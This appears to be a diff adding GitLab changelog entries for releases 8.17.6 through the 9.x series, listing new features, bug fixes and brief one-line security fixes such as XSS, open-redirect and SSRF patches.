+- Add dashboard and group milestones count badges. !9836 (Alex Braha Stoll)
+- Use Gitaly for Repository#is_ancestor. !9864
+- After copying a diff file or blob path, pasting it into a comment field will format it as Markdown. !9876
+- Fix visibility level on new project page. !9885 (blackst0ne)
+- Fix xml.updated field in rss/atom feeds. !9889 (blackst0ne)
+- Add Undo mark all as done to Todos. !9890 (Jacopo Beschi @jacopo-beschi)
+- Add a name field to the group form. !9891 (Douglas Lovell)
+- Add custom attributes in factories. !9892 (George Andrinopoulos)
+- Resolve project pipeline status caching problem on dashboard. !9895
+- Display error message when deleting tag in web UI fails. !9906
+- Add quick submit for snippet forms. !9911 (blackst0ne)
+- New directory from interface on existing branch. !9921 (Jacopo Beschi @jacopo-beschi)
+- Removes UJS from pipelines tables. !9929
+- Fix project title validation, prevent clicking on disabled button. !9931
+- Show correct user & creation time in heading of the pipeline page. !9936
+- Include time tracking attributes in webhooks payload. !9942
+- Add `requirements: { id: /.+/ }` for all projects and groups namespaced API routes. !9944
+- Improved UX for the environments metrics view. !9946
+- Remove whitespace in group links. !9947 (Xurxo Méndez Pérez)
+- Adds Frontend Styleguide to documentation. !9961
+- Add metadata to system notes. !9964
+- When viewing old wiki page version, edit button should be disabled. !9966 (TM Lee)
+- Added labels array to the issue web hook returned object. !9972
+- Upgrade VueJS to v2.2.4 and disable dev mode warnings. !9981
+- Only add code coverage instrumentation when generating coverage report. !9987
+- Fix Project Wiki update. !9990 (Dongqing Hu)
+- Fix trigger webhook for ref with a dot. !10001 (George Andrinopoulos)
+- Fix quick submit short-cut on preview tab for comments. !10002
+- Add option to receive email notifications about your own activity. !10032 (Richard Macklin)
+- Rename 'All issues' to 'Open issues' in Add issues modal. !10042 (blackst0ne)
+- Disable pipeline and environment actions that are not playable. !10052
+- Added clarification to the Jira integration documentation. !10066 (Matthew Bender)
+- Move milestone summary content into the sidebar. !10096
+- Replace closing MR icon. !10103 (blackst0ne)
+- Add support for multi-level container image repository names. !10109 (André Guede)
+- Add ECMAScript polyfills for Symbol and Array.find. !10120
+- Add tooltip to user's calendar activities. !10123 (Alex Argunov)
+- Resolve "Run CI/CD pipelines on a schedule" - "Basic backend implementation". !10133 (dosuken123)
+- Change hint on first row of filters dropdown to `Press Enter or click to search`. !10138
+- Remove useless queries with false conditions (e.g 1=0). !10141 (mhasbini)
+- Show CI status as Favicon on Pipelines, Job and MR pages. !10144
+- Update color palette to a more harmonious and consistent one. !10154
+- Add tooltip and accessibility for profile cover buttons. !10182
+- Change Done column to Closed in issue boards. !10198 (blackst0ne)
+- Add metrics button to environments overview page. !10234
+- Force unlimited terminal size when checking processes via call to ps. !10246 (Sebastian Reitenbach)
+- Fix sub-nav highlighting for `Environments` and `Jobs` pages. !10254
+- Drop support for correctly processing legacy pipelines. !10266
+- Fix project creation failure due to race condition in namespace directory creation. !10268 (Robin Bobbitt)
+- Introduced error/empty states for the environments performance metrics. !10271
+- Improve performance of GitHub importer for large repositories. !10273
+- Introduce "polling_interval_multiplier" as application setting. !10280
+- Prevent users from disconnecting GitLab account from CAS. !10282
+- Clearly show who triggered the pipeline in email. !10283
+- Make user mentions case-insensitive. !10285 (blackst0ne)
+- Update rugged to 0.25.1.1. !10286 (Elan Ruusamäe)
+- Handle parsing OpenBSD ps output properly to display sidekiq infos on admin->monitoring->background. !10303 (Sebastian Reitenbach)
+- Log errors during generating of GitLab Pages to debug log. !10335 (Danilo Bargen)
+- Update issue board cards design. !10353
+- Tags can be protected, restricting creation of matching tags by user role. !10356
+- Set GIT_TERMINAL_PROMPT env variable in initializer. !10372
+- Remove index for users.current sign in at. !10401 (blackst0ne)
+- Include reopened MRs when searching for opened ones. !10407
+- Integrates Microsoft Teams webhooks with GitLab. !10412
+- Fix subgroup repository disappearance if group was moved. !10414
+- Add /-/readiness /-/liveness and /-/metrics endpoints to track application health. !10416
+- Changed capitalisation of buttons across GitLab. !10418
+- Fix blob highlighting in search. !10420
+- Add remove_concurrent_index to database helper. !10441 (blackst0ne)
+- Fix wiki commit message. !10464 (blackst0ne)
+- Deleting a user should not delete associated records. !10467
+- Include endpoint in metrics for ETag caching middleware. !10495
+- Change project view default for existing users and anonymous visitors to files+readme. !10498
+- Hide header counters for issue/mr/todos if zero. !10506
+- Remove the User#is_admin? method. !10520 (blackst0ne)
+- Removed Milestone#is_empty?. !10523 (Jacopo Beschi @jacopo-beschi)
+- Add UI for Trigger Schedule. !10533 (dosuken123)
+- Add foreign key for ci_trigger_requests on ci_triggers. !10537
+- Upgrade webpack to v2.3.3 and webpack-dev-server to v2.4.2. !10552
+- Bugfix: POST /projects/:id/hooks and PUT /projects/:id/hook/:hook_id no longer ignore the the job_events param in the V4 API. !10586
+- Fix MR widget bug that merged a MR when Merge when pipeline succeeds was clicked via the dropdown. !10611
+- Hide new subgroup button if user has no permission to create one. !10627
+- Fix PlantUML integration in GFM. !10651
+- Show sub-nav under Merge Requests when issue tracker is non-default. !10658
+- Fix bad query for PostgreSQL showing merge requests list. !10666
+- Fix invalid encoding when showing some traces. !10681
+- Add lighter colors and fix existing light colors. !10690
+- Fix another case where trace does not have proper encoding set. !10728
+- Fix trace cannot be written due to encoding. !10758
+- Replace builds_enabled with jobs_enabled in projects API v4. !10786 (winniehell)
+- Add retry to system hook worker. !10801
+- Fix error when an issue reference has a pending deleting project. !10843
+- Update permalink/blame buttons with line number fragment hash.
+- Limit line length for project home page.
+- Fix filtered search input width for IE.
+- Update wikis_controller.rb to use strong params.
+- Fix API group/issues default state filter. (Alexander Randa)
+- Prevent builds dropdown to close when the user clicks in a build.
+- Display all closed issues in “done†board list.
+- Remove no-new annotation from file_template_mediator.js.
+- Changed dropdown style slightly.
+- Change gfm textarea to use monospace font.
+- Prevent filtering issues by multiple Milestones or Authors.
+- Recent search history for issues.
+- Remove duplicated tokens in issuable search bar.
+- Adds empty and error state to pipelines.
+- Allow admin to view all namespaces. (George Andrinopoulos)
+- allow offset query parameter for infinite list pages.
+- Fix wrong message on starred projects filtering. (George Andrinopoulos)
+- Adds pipeline mini-graph to system information box in Commit View.
+- Remove confusing placeholder for JIRA transition_id.
+- Remove extra margin at bottom of todos page.
+- Add back expandable folder behavior.
+- Create todos only for new mentions.
+- Linking to blob edit page handles anonymous users and users without enough permissions to edit directly.
+- Fix projects_limit RangeError on user create. (Alexander Randa)
+- Add helpful icons to profile events.
+- Refactor dropdown_milestone_spec.rb. (George Andrinopoulos)
+- Fix alignment of resolve button.
+- Change label for name on sign up form.
+- Don’t show source project name when user does not have access.
+- Update toggle buttons to be <button>.
+- Display full project name with namespace upon deletion.
+- Spam check only when spammable attributes have changed.
+- align Mark all as done with other Done buttons on Todos page.
+- Adds polling utility function for vue resource.
+- Allow unauthenticated access to some Branch API GET endpoints.
+- Fix redirection after login when the referer have params. (mhasbini)
+- fix sidebar padding for build and wiki pages.
+- Correctly update paths when changing a child group.
+- Add shortcuts and counters to MRs and issues in navbar.
+- Remove forced scroll into view when switching to Changes MR tab.
+- Fix link to Jira service documentation.
+- consistent icons in vue and kaminari pagers.
+- refocus textarea after attaching a file.
+- Enable creation of deploy keys with write access via the API.
+- Disable invalid service templates.
+- Remove the class attribute from the whitelist for HTML generated from Markdown.
+- Add search optional param and docs for V4.
+- Fix issue's note cache expiration after delete. (mhasbini)
+- Fixes HTML structure that was preventing the tooltip to disappear when hovering out of the button.
+- fix Status icons overlapping sidebar on mobile.
+- Add dropdown sort to project milestones. (George Andrinopoulos)
+- Prevent more than one issue tracker to be active for the same project. (luisdgs19)
+- Add copy button to blob header and use icon for Raw button.
+- Add metrics events for incoming emails.
+- Shows loading icon in issue boards modal when changing filters.
+- Added tests for the w.gl.utils.backOff promise.
+- Add `g t` global shortcut to go to todos.
+- Fix conflict resolution when files contain valid UTF-8 characters.
+- Added award emoji animation and improved active state.
+- Fixes milestone/merge_requests endpoint to actually scope the result. (Joren De Groof)
+- Added remaining_time method to milestoneish, specs and updated the milestone_helper milestone_remaining_days method to correctly return the correct remaining time. (Michael Robinson)
+- Removed unnecessary 'add' text in additional award emoji button.
+- adds todo functionality to closed issuable sidebar and changes todo bell icon to check-square.
+- Copy code as GFM from diffs, blobs and GFM code blocks.
+- Removed the duplicated search icon in the award emoji menu.
+- Enable snippets for new projects by default.
+- Add rake task to import GitHub projects from the command line.
+- New rake task to reset all email and private tokens.
+- Fix path disclosure in project import/export.
+- Fix 'Object not found - no match for id (sha)' when importing GitHub Pull Requests.
+- Display custom hook error messages when automatic merge is enabled.
+- Fix layout of projects page on admin area.
+- Fix encoding issue exporting a project.
+- Periodically mark projects that are stuck in importing as failed.
+- Skip groups validation on the client.
+- Fix Import/Export MR diffs not showing and missing forked MRs.
+- Create subgroups if they don't exist while importing projects.
+- Fix Milestone name on show page. (Raveesh)
+- Fix missing capitalisation on views.
+- Removed orphaned notification settings without a namespace.
+- Fix restricted project visibility setting available to users.
+- Moved the gear settings dropdown to a tab in the groups view.
+- Fixed group milestone date dropdowns not opening.
+- Fixed bug in issue boards which stopped cards being able to be dragged.
+- Added new filtered search bar to issue boards.
+- Add closed_at field to issues.
+- Do not set closed_at to nil when issue is reopened.
+- Centered issues empty state.
+- Fixed private group name disclosure via new/update forms.
+- Add keyboard shortcuts to main menu.
+- Moved the monitoring button inside the show view for the environments page.
+- Speed up initial rendering of MR diffs page.
+- Fixed tabs on new merge request page causing incorrect URLs.
+- Fix for open redirect vulnerability using continue[to] in URL when requesting project import status.
+- Fix for open redirect vulnerabilities in todos, issues, and MR controllers.
+- Optimise builds endpoint.
+- Fixed pipeline actions tooltips overflowing.
+- Fixed job tooltip being cut-off.
+- Fixed projects list lines breaking.
+- Only email pipeline creators; only email for successful pipelines with custom settings.
+- Reset users.authorized_projects_populated to automatically refresh user permissions.
+- Corrected alignment for the remember-me checkbox in the login view.
+- Fixed tabs not scrolling on mobile.
+- Add unique index for notes_id to system note metadata table.
+- Handle SSH keys that have multiple spaces between each marker.
+- Don't delete a branch involved in an open merge request in "Delete all merged branches" service.
+- Relax constraint on Wiki IDs, since subdirectories can contain spaces.
+- Remove Tags filter from Projects Explore dropdown.
+- Enable Style/Proc cop for rubocop. (mhasbini)
+- Show the build/pipeline coverage if it is available.
+- Corrected time tracking icon color in the issuable side bar.
+- update test_bundle.js ignored files.
+- Add usage ping to CE.
+- User callout only shows on current users profile.
+- Removed the hours & minutes from the users start date on their profile.
+- Only send chat notifications for the default branch.
+- Don't fill in the default kubernetes namespace.
+
+## 9.0.13 (2017-08-09)
+
+- Remove hidden symlinks from project import files.
+- Disallow Git URLs that include a username or hostname beginning with a non-alphanumeric character.
+
+## 9.0.12 (2017-07-20)
+
+- Fix an infinite loop when handling user-supplied regular expressions.
+
+## 9.0.11 (2017-07-19)
+
+- Renders 404 if given project is not readable by the user on Todos dashboard.
+- Fix incorrect project authorizations.
+- Remove uploads/appearance symlink. A leftover from a previous migration.
+
+## 9.0.10 (2017-06-07)
+
+- No changes.
+
+## 9.0.9 (2017-06-02)
+
+- Fix visibility when referencing snippets.
+
+## 9.0.8 (2017-05-31)
+
+- Move uploads from 'public/uploads' to 'public/uploads/system'.
+- Restrict API X-Frame-Options to same origin.
+- Allow users autocomplete by author_id only for authenticated users.
+
+## 9.0.7 (2017-05-05)
+
+- Enforce project features when searching blobs and wikis.
+- Fixed branches dropdown rendering branch names as HTML.
+- Make Asciidoc & other markup go through pipeline to prevent XSS.
+- Validate URLs in markdown using URI to detect the host correctly.
+- Fix for XSS in project import view caused by Hamlit filter usage.
+- Sanitize submodule URLs before linking to them in the file tree view.
+- Refactor snippets finder & dont return internal snippets for external users.
+- Fix snippets visibility for show action - external users can not see internal snippets.
+- Do not show private groups on subgroups page if user doesn't have access to.
+
+## 9.0.6 (2017-04-21)
+
+- Bugfix: POST /projects/:id/hooks and PUT /projects/:id/hook/:hook_id no longer ignore the the job_events param in the V4 API. !10586
+- Fix MR widget bug that merged a MR when Merge when pipeline succeeds was clicked via the dropdown. !10611
+- Fix PlantUML integration in GFM. !10651
+- Show sub-nav under Merge Requests when issue tracker is non-default. !10658
+- Fix restricted project visibility setting available to users.
+- Removed orphaned notification settings without a namespace.
+- Fix issue's note cache expiration after delete. (mhasbini)
+- Display custom hook error messages when automatic merge is enabled.
+- Fix filtered search input width for IE.
+
+## 9.0.5 (2017-04-10)
+
+- Add shortcuts and counters to MRs and issues in navbar.
+- Disable invalid service templates.
+- Handle SSH keys that have multiple spaces between each marker.
+
+## 9.0.4 (2017-04-05)
+
+- Don’t show source project name when user does not have access.
+- Remove the class attribute from the whitelist for HTML generated from Markdown.
+- Fix path disclosure in project import/export.
+- Fix for open redirect vulnerability using continue[to] in URL when requesting project import status.
+- Fix for open redirect vulnerabilities in todos, issues, and MR controllers.
+
+## 9.0.3 (2017-04-05)
+
+- Fix name colision when importing GitHub pull requests from forked repositories. !9719
+- Fix GitHub Importer for PRs of deleted forked repositories. !9992
+- Fix environment folder route when special chars present in environment name. !10250
+- Improve Markdown rendering when a lot of merge requests are referenced. !10252
+- Allow users to import GitHub projects to subgroups.
+- Backport API changes needed to fix sticking in EE.
+- Remove unnecessary ORDER BY clause from `forked_to_project_id` subquery. (mhasbini)
+- Make CI build to use optimistic locking only on status change.
+- Fix race condition where a namespace would be deleted before a project was deleted.
+- Fix linking to new issue with selected template via url parameter.
+- Remove unnecessary ORDER BY clause when updating todos. (mhasbini)
+- API: Make the /notes endpoint work with noteable iid instead of id.
+- Fixes method not replacing URL parameters correctly and breaking pipelines pagination.
+- Move issue, mr, todos next to profile dropdown in top nav.
+
+## 9.0.2 (2017-03-29)
+
+- Correctly update paths when changing a child group.
+- Fixed private group name disclosure via new/update forms.
+
+## 9.0.1 (2017-03-28)
+
+- Resolve "404 when requesting build trace". !9759 (dosuken123)
+- Simplify search queries for projects and merge requests. !10053 (mhasbini)
+- Fix after_script processing for Runners APIv4. !10185
+- Fix escaped html appearing in milestone page. !10224
+- Fix bug that caused jobs that already had been retried to be retried again when retrying a pipeline. !10249
+- Allow filtering by all started milestones.
+- Allow sorting by due date and priority.
+- Fixed branches pagination not displaying.
+- Fixed filtered search not working in IE.
+- Optimize labels finder query when searching for a project with a group. (mhasbini)
+
+## 9.0.0 (2017-03-22)
+
+- Fix inconsistent naming for services that delete things. !5803 (dixpac)
+- UI: Allow a project variable to be set to an empty value. !6044 (Lukáš Nový)
+- Align task list checkboxes. !6487 (Jared Deckard <jared.deckard@gmail.com>)
+- SanitizationFilter allows html5 details and summary tags. !6568
+- on branch deletion show loading icon and disabled the button. !6761 (wendy0402)
+- Use an entity for RepoBranch commits and enhance RepoCommit. !7138 (Ben Boeckel)
+- Deleting a user doesn't delete issues they've created/are assigned to. !7393
+- Fix position of counter in milestone panels. !7842 (Andrew Smith (EspadaV8))
+- Added a feature to create a 'directly addressed' Todo when mentioned in the beginning of a line. !7926 (Ershad Kunnakkadan)
+- Implement OpenID Connect identity provider. !8018 (Markus Koller)
+- Show directory hierarchy when listing wiki pages. !8133 (Alex Braha Stoll)
+- Migrate SlackService and MattermostService from build_events to pipeline_events, and migrate BuildsEmailService to PipelinesEmailService. Update Hipchat to use pipeline events rather than build events. !8196
+- Execute web hooks for WikiPage delete operation. !8198
+- Added external environment link to web terminal view. !8303
+- Responsive title in diffs inline, side by side, with and without sidebar. !8475
+- Bypass email domain validation when a user is created by an admin. !8575 (Reza Mohammadi @remohammadi)
+- API: Paginate all endpoints that return an array. !8606 (Robert Schilling)
+- pass in current_user in MergeRequest and MergeRequestsHelper. !8624 (Dongqing Hu)
+- Add user & build links in Slack Notifications. !8641 (Poornima M)
+- Todo done clicking is kind of unusable. !8691 (Jacopo Beschi @jacopo-beschi)
+- Filter todos by manual add. !8691 (Jacopo Beschi @jacopo-beschi)
+- Add runner version to /admin/runners view. !8733 (Jonathon Reinhart)
+- API: remove `public` param for projects. !8736
+- Allow creating nested groups via UI. !8786
+- API: Add environment stop action. !8808
+- Add discussion events to contributions calendar. !8821
+- Unify issues search behavior by always filtering when ALL labels matches. !8849
+- V3 deprecated templates endpoints removal. !8853
+- Expose pipelines as PipelineBasic `api/v3/projects/:id/pipelines`. !8875
+- Alphabetically sort tags on runner list. !8922 (blackst0ne)
+- Added documentation for permalinks to most recent build artifacts. !8934 (Christian Godenschwager)
+- Standardize branch name params as branch on V4 API. !8936
+- Move /projects/fork/:id to /projects/:id/fork. !8940
+- Fix small height of activity header page. !8952 (Pavel Sorokin)
+- Optionally make users created via the API set their password. !8957 (Joost Rijneveld)
+- GitHub Importer - Find users based on GitHub email address. !8958
+- API: Consolidate /projects endpoint. !8962
+- Add filtered search visual tokens. !8969
+- Store group and project full name and full path in routes table. !8979
+- Add internal API to notify Gitaly of post receive. !8983
+- Remove inactive default email services. !8987
+- Option to prevent signing in from multiple ips. !8998
+- Download snippets with LF line-endings by default. !8999
+- Fixes dropdown width in admin project page. !9002
+- fixes issue number alignment problem in MR and issue list. !9020
+- Fix CI/CD pipeline retry and take stages order into account. !9021
+- Make stuck builds detection more performant. !9025
+- Filter by projects in the end of search. !9030
+- Add nested groups to the API. !9034
+- Use ETag to improve performance of issue notes polling. !9036
+- Add the oauth2_generic OmniAuth strategy. !9048 (Joe Marty)
+- Brand header logo for pipeline emails. !9049 (Alexis Reigel)
+- replace npm with yarn and add yarn.lock. !9055
+- Fix displaying error messages for create label dropdown. !9058 (Tom Koole)
+- Set dropdown height fixed to 250px and make it scrollable. !9063
+- Update API docs for new namespace format. !9073 (Markus Koller)
+- Replace static fixture for behaviors/quick_submit_spec.js. !9086 (winniehell)
+- Use iids as filter parameter. !9096
+- Manage user personal access tokens through api and add impersonation tokens. !9099 (Simon Vocella)
+- Added the ability to copy a branch name to the clipboard. !9103 (Glenn Sayers)
+- Rename Files::DeleteService to Files::DestroyService. !9110 (dixpac)
+- Fixes FE Doc broken link. !9120
+- Add git version to gitlab:env:info. !9128 (Semyon Pupkov)
+- Replace static fixture for new_branch_spec.js. !9131 (winniehell)
+- Reintroduce coverage report for JavaScript. !9133 (winniehell)
+- Fix MR widget jump. !9146
+- Avoid calling Build#trace_with_state for performance. !9149 (Takuya Noguchi)
+- fix background color for labels mention in todo. !9155 (mhasbini)
+- Replace static fixture for behaviors/requires_input_spec.js. !9162 (winniehell)
+- Added AsciiDoc Snippet to CI/CD Badges. !9164 (Jan Christophersen)
+- Make Karma output look nicer for CI. !9165 (winniehell)
+- show 99+ for large count in todos notification bell. !9171 (mhasbini)
+- Replace static fixture for header_spec.js. !9174 (winniehell)
+- Replace static fixture for project_title_spec.js. !9175 (winniehell)
+- Fixes markdown in activity-feed is gray. !9179
+- Show notifications settings dropdown even if repository feature is disabled. !9180
+- Fixes job dropdown action throws error in js console. !9182
+- Set maximum width for mini pipeline graph text so it is not truncated to early. !9188
+- Added 'Most Recent Activity' header to the User Profile page. !9189 (Jan Christophersen)
+- Show Issues mentioned / being closed from a Merge Requests title below the 'Accept Merge Request' button. !9194 (Jan Christophersen)
+- Stop linking to deleted Branches in Activity tabs. !9203 (Jan Christophersen)
+- Make it possible to pass coverage value to commit status API. !9214 (wendy0402)
+- Add admin setting for default artifacts expiration. !9219
+- add :iids param to IssuableFinder (resolve technical dept). !9222 (mhasbini)
+- Add Links to Branches in Calendar Activity. !9224 (Jan Christophersen)
+- Fix pipeline retry and cancel buttons on pipeline details page. !9225
+- Remove es6 file extension from JavaScript files. !9241 (winniehell)
+- Add Runner's registration/deletion v4 API. !9246
+- Add merge request count to each issue on issues list. !9252 (blackst0ne)
+- Fix error in MR widget after /merge slash command. !9259
+- Clean-up Project navigation order. !9272
+- Add Runner's jobs v4 API. !9273
+- Add pipeline trigger API with user permissions. !9277
+- Enhanced filter issues layout for better mobile experience. !9280 (Pratik Borsadiya)
+- Move babel config for instanbul to karma config. !9286 (winniehell)
+- Document U2F limitations with multiple URLs. !9300
+- Wrap long Project and Group titles. !9301
+- Clean-up Groups navigation order. !9309
+- Truncate long Todo titles for non-mobile screens. !9311
+- add rake tasks to handle yarn dependencies and update documentation. !9316
+- API: - Make subscription API more RESTful. Use `post ":project_id/:subscribable_type/:subscribable_id/subscribe"` to subscribe and `post ":project_id/:subscribable_type/:subscribable_id/unsubscribe"` to unsubscribe from a resource. !9325 (Robert Schilling)
+- API: Moved `DELETE /projects/:id/star` to `POST /projects/:id/unstar`. !9328 (Robert Schilling)
+- API: Use `visibility` as string parameter everywhere. !9337
+- Add the Username to the HTTP(S) clone URL of a Repository. !9347 (Jan Christophersen)
+- Add spec for todo with target_type Commit. !9351 (George Andrinopoulos)
+- API: Remove `DELETE projects/:id/deploy_keys/:key_id/disable`. !9365 (Robert Schilling)
+- Fixes includes line number during unfold copy n paste in parallel diff view. !9365
+- API: Use POST to (un)block a user. !9371 (Robert Schilling)
+- Remove markup that was showing in tooltip for renamed files. !9374
+- Drop unused ci_projects table and some unused project_id columns, then rename gl_project_id to project_id. Stop exporting job trace when exporting projects. !9378 (David Wagner)
+- Adds remote logout functionality to the Authentiq OAuth provider. !9381 (Alexandros Keramidas)
+- Introduce /award slash command; Allow posting of just an emoji in comment. !9382 (mhasbini)
+- API: Remove deprecated fields Notes#upvotes and Notes#downvotes. !9384 (Robert Schilling)
+- Redo internals of Incoming Mail Support. !9385
+- update Vue to v2.1.10. !9386
+- Add button to create issue for failing build. !9391 (Alex Sanford)
+- test compiling production assets and generate webpack bundle report in CI. !9396
+- API: Return 204 for all delete endpoints. !9397 (Robert Schilling)
+- Add KUBE_CA_PEM_FILE, deprecate KUBE_CA_PEM. !9398
+- API: Use POST requests to mark todos as done. !9410 (Robert Schilling)
+- API project create: Make name or path required. !9416
+- Add housekeeping endpoint for Projects API. !9421
+- Fixes delimiter removes when todo marked as done. !9435
+- Document when current coverage configuration option was introduced. !9443
+- Uploaded files which content can change now require revalidation on each page load. !9453
+- Only add a newline in the Markdown Editor if the current line is not empty. !9455 (Jan Christophersen)
+- Rename builds to job for the v4 API. !9463
+- API: Remove /groups/owned endpoint. !9505 (Robert Schilling)
+- API: Return 400 for all validation erros in the mebers API. !9523 (Robert Schilling)
+- Fixes large file name tooltip cutoff in diff header. !9529
+- Keep consistent in handling indexOf results. !9531 (Takuya Noguchi)
+- Make documentation of list repository tree API call more detailed. !9532 (Marius Kleiner)
+- Fix Sort dropdown reflow issue. !9533 (Jarkko Tuunanen)
+- Improve grammar in GitLab flow documentation. !9552 (infogrind)
+- Change default project view for user from readme to files view. !9584
+- Make it possible to configure blocking manual actions. !9585
+- Show public RSS feeds to anonymous users. !9596 (Michael Kozono)
+- Update storage settings to allow extra values per repository storage. !9597
+- Enable filtering milestones by search criteria in the API. !9606
+- Ensure archive download is only one directory deep. !9616
+- Fix updaing commit status when using optional attributes. !9618
+- Add filter and sorting to dashboard groups page. !9619
+- Remove deprecated build status badge and related services. !9620
+- Remove the newrelic gem. !9622 (Robert Schilling)
+- Rename table ci_commits to ci_pipelines. !9638
+- Remove various unused CI tables and columns. !9639
+- Use webpack CommonsChunkPlugin to place common javascript libraries in their own bundles. !9647
+- CORS: Whitelist pagination headers. !9651 (Robert Schilling)
+- Remove "subscribed" field from API responses returning list of issues or merge requests. !9661
+- Highlight line number if specified on diff pages when page loads. !9664
+- Set default cache key to "default" for jobs. !9666
+- Set max height to screen height for Zen mode. !9667
+- GET 'projects/:id/repository/commits' endpoint improvements. !9679 (George Andrinopoulos, Jordan Ryan Reuter)
+- Restore keyboard shortcuts for "Activity" and "Charts". !9680
+- Added commit array to Syshook json. !9685 (Gabriele Pongelli)
+- Document ability to list issues with no labels using API. !9697 (Vignesh Ravichandran)
+- Fix typo in GitLab config file. !9702 (medied)
+- Fix json response in branches controller. !9710 (George Andrinopoulos)
+- Refactor dropdown_assignee_spec. !9711 (George Andrinopoulos)
+- Delete artifacts for pages unless expiry date is specified. !9716
+- Use gitlab-workhorse 1.4.0. !9724
+- Add GET /projects/:id/pipelines/:pipeline_id/jobs endpoint. !9727
+- Restrict nested group names to prevent ambiguous routes. !9738
+- Rename job environment variables to new terminology. !9756
+- Deprecate usage of `types` configuration entry to describe CI/CD stages. !9766
+- Moved project settings from the gear drop-down menu to a tab. !9786
+- Fix "passed with warnings" stage status on MySQL installations. !9802
+- Fix for creating a project through API when import_url is nil. !9841
+- Use GitLab Pages v0.4.0. !9896
+- Reserve few project and nested group paths that have wildcard routes associated. !9898
+- Speed up project dashboard by caching pipeline status and eager loading routes. !9903
+- Fixes n+1 query for tags and branches index page. !9905
+- Hide ancestor groups in the share group dropdown list. !9965
+- Allow creating merge request even if target branch is not specified in query params. !9968
+- Removed d3 from the main application.js bundle. !10062
+- Return 404 in project issues API endpoint when project cannot be found. !10093
+- Fix positioning of `Scroll to top` button.
+- Add limit to the number of events showed in cycle analytics.
+- Only run timeago loops after rendering timeago components.
+- Increase right side of file header to button stays on same line.
+- Centers loading icon vertically and horizontally in pipelines table in commit view.
+- Fix issues mentioned but not closed for external issue trackers.
+- fix milestone does not automatically assign when create issue from milestone.
+- Re-add Assign to me link to Merge Request and Issues.
+- Format timeago date to short format.
+- Fix errors in slash commands matcher, add simple test coverage. (YarNayar)
+- Make Git history follow renames again by performing the --skip in Ruby.
+- Added option to update to owner for group members.
+- Pick up option from GDK to disable webpack dev server livereload.
+- Introduce Pipeline Triggers that are user-aware.
+- Fixed loading spinner position on issue template toggle.
+- Removed duplicate "Visibility Level" label on New Project page. (Robert Marcano)
+- Fix 'New Tag' layout on Tags page. (Robert Marcano)
+- Update API endpoints for raw files.
+- Fix issuable stale object error handler for js when updating tasklists.
+- Gather issuable metadata to avoid n+1 queries on index view.
+- Remove JIRA closed status icon.
+- Fix z index issues with sidebar.
+- Fixed long file names overflowing under action buttons.
+- Only show public emails in atom feeds.
+- Add Mock CI service/integration for development.
+- Move tag services to Tags namespace. (dixpac)
+- Set Auto-Submitted header to mails. (Semyon Pupkov)
+- Improved diff comment button UX.
+- Adds API endpoint to fetch all merge request for a single milestone. (Joren De Groof)
+- Only create unmergeable todos once when MR fails to merge.
+- Only yield valid references in ReferenceFilter.references_in.
+- Add member: Always return 409 when a member exists.
+- Remove plus icon from MR button on compare view.
+- Re-add the New Project button in nav bar.
+- Default to subtle MR mege button until CI status is available.
+- Rename priority sorting option to label priority.
+- Added headers to protected branch access dropdowns.
+- Hide issue info when project issues are disabled. (George Andrinopoulos)
+- removed unused parameter 'status_only: true'.
+- Left align logo.
+- Replaced jQuery UI datepicker.
+- Removed jQuery UI highlight & autocomplete.
+- Replaced jQuery UI sortable.
+- Remove readme-only project view preference.
+- Remove tooltips from label subscription buttons.
+- Rename retry failed button on pipeline page to just retry.
+- Align bulk update issues button to the right.
+- Remove remnants of git annex support.
+- Dispatch needed JS when creating a new MR in diff view.
+- Change project count limit from 10 to 100000.
+- Remove repeated routes.path check for postgresql database. (mhasbini)
+- Fixed RSS button alignment on activity pages.
+- Seed abuse reports for development.
+- Bump Hashie to 3.5.5 and omniauth to 1.4.2 to eliminate warning noise.
+- Add user deletion permission check in `Users::DestroyService`.
+- Fix snippets search result spacing.
+- Sort builds in stage dropdown.
+- SSH key field updates title after pasting key.
+- To protect against Server-side Request Forgery project import URLs are now prohibited against localhost or the server IP except for the assigned instance URL and port. Imports are also prohibited from ports below 1024 with the exception of ports 22, 80, and 443.
+- Remove fixed positioning from top nav.
+- Deduplicate markdown task lists.
+- update issue count when closing/reopening an issue.
+- Update code editor (ACE) to 1.2.6, to fix input problems with compose key.
+- Improves a11y in sidebar by adding aria-hidden attributes in i tags and by fixing two broken aria-hidden attributes.
+- Use redis channel to post notifications.
+- Removed top border from user contribution calendar.
+- Added user callouts to the projects dashboard and user profile.
+- Removes label when moving issue to another list that it is currently in.
+- Return 202 with JSON body on async removals on V4 API.
+- Add filtered search to MR page.
+- Add frequently used emojis back to awards menu.
+- don't animate logo when downloading files.
+- Stop setting Strict-Transport-Securty header from within the app.
+- Use "branch_name" instead "branch" on V3 branch creation API.
+- Fix archive prefix bug for refs containing dots.
+- ensure MR widget dropdown is same color as button.
+- Adds Pending and Finished tabs to pipelines page.
+- Decrease tanuki logo size.
+- Add all available statuses to scope filter for project builds endpoint. (George Andrinopoulos)
+- Add filter param for project membership for current_user in API v4.
+- Remove help link from right dropdown.
+- Fix jobs table header height.
+- Combined deploy keys, push rules, protect branches and mirror repository settings options into a single one called Repository.
+- Add storage class configuration option for Amazon S3 remote backups. (Jon Keys)
+- Specify in the documentation that only projects owners can transfer projects.
+- Use native unicode emojis.
+- Clear ActiveRecord connections before starting Sidekiq.
+- Update account view to display new username.
+- Narrow environment payload by using basic project details resource.
+- Creating a new branch from an issue will automatically initialize a repository if one doesn't already exist.
+- Dashboard project search keeps selected sort & filters.
+- Visually show expanded diff lines cant have comments.
+- Use full group name in GFM group reference title.
+- Make a default namespace of Kubernetes service to contain project ID.
+- Present GitLab version for each V3 to V4 API change on v3_to_v4.md.
+- Add badges to global dropdown.
+- Changed coverage reg expression placeholder text to be more like a placeholder.
+- Show members of parent groups on project members page.
+- Fix grammar issue in admin/runners.
+- Allow slashes in slash command arguments.
+- Adds paginationd and folders view to environments table.
+- hide loading spinners for server-rendered sidebar fields.
+- Change development tanuki favicon colors to match logo color order.
+- API issues - support filtering by iids.
+
+## 8.17.8 (2017-08-09)
+
+- Remove hidden symlinks from project import files.
+- Disallow Git URLs that include a username or hostname beginning with a non-alphanumeric character.
+
+## 8.17.7 (2017-07-19)
+
+- Renders 404 if given project is not readable by the user on Todos dashboard.
+- Fix incorrect project authorizations.
+
+## 8.17.6 (2017-05-05)
+
+- Enforce project features when searching blobs and wikis.
+- Fixed branches dropdown rendering branch names as HTML.
+- Make Asciidoc & other markup go through pipeline to prevent XSS.
+- Validate URLs in markdown using URI to detect the host correctly.
+- Fix for XSS in project import view caused by Hamlit filter usage.
